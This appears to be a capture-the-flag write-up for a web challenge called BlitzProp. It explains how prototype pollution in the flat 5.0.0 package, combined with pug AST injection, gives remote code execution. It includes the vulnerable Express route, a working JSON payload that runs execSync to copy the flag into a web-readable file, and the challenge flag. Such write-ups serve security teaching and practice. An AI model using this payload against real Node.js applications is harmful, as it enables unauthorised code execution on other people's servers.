A tribute page for the legendary alien band called BlitzProp!
Provided docker environment.
On the main page, we can submit our favourite song from these four choices. From the names we can take hints like Polluting
and AST
.
routes/index.js
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
We have to include a song name in /api/submit
request, but we are not restricted with adding our own objects into JSON
. We also use pug
as templating engine. Also the request body is unflatten
using flat
package. From package.json
we get the version.
"dependencies": {
"express": "^4.17.1",
"flat": "5.0.0",
"pug": "^3.0.0"
}
Version 5.0.0
is vulnerable (flat-bug) to prototype pollution. There is an excellent writeup on AST, Prototype pollution
and pug
with provided payload to exploit this vulenrability (exploit-writeup).
We are going to use RCE
to write the flag in a file that can be reached from the browser.
{
"song.name":"ASTa la vista baby",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`cat /app/flag* > /app/static/js/flag.txt`)"
}
}
Result
CHTB{p0llute_with_styl3}